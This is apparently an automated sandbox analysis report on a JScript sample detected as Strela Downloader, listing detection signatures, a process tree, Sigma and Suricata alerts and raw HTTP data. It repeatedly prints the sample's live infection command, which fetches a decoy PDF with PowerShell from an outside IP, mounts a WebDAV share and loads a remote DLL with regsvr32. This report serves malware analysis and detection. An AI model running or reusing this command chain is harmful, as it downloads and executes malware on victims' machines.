Edit tour

Windows Analysis Report
1731726859230921847.js

Overview

General Information

Sample name:	1731726859230921847.js
Analysis ID:	1588775
MD5:	27f6a55ced96ef310ccd0e506501a2ed
SHA1:	2647811e5bdcc667b1b51526ee292189b5bdf75c
SHA256:	5e465bd2606d6dd851f73952547440fe519dbef6cf868f8376acccc55f47bba0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3300 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6436 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2024 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3744 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5836 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1600,i,3264500123192163859,9823756888314891952,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6856 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 484 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7204 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3300	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2024, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2024, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ProcessId: 3300, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 484, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ProcessId: 3300, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2024, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6856, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 484, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7204, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6856, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 484, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1731726859230921847.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3300, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26083103874952.dll, ProcessId: 6436, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:22:38.524569+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:22:41.372696+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:22:38.524569+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1731726859230921847.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1731726859230921847.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:22:38 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 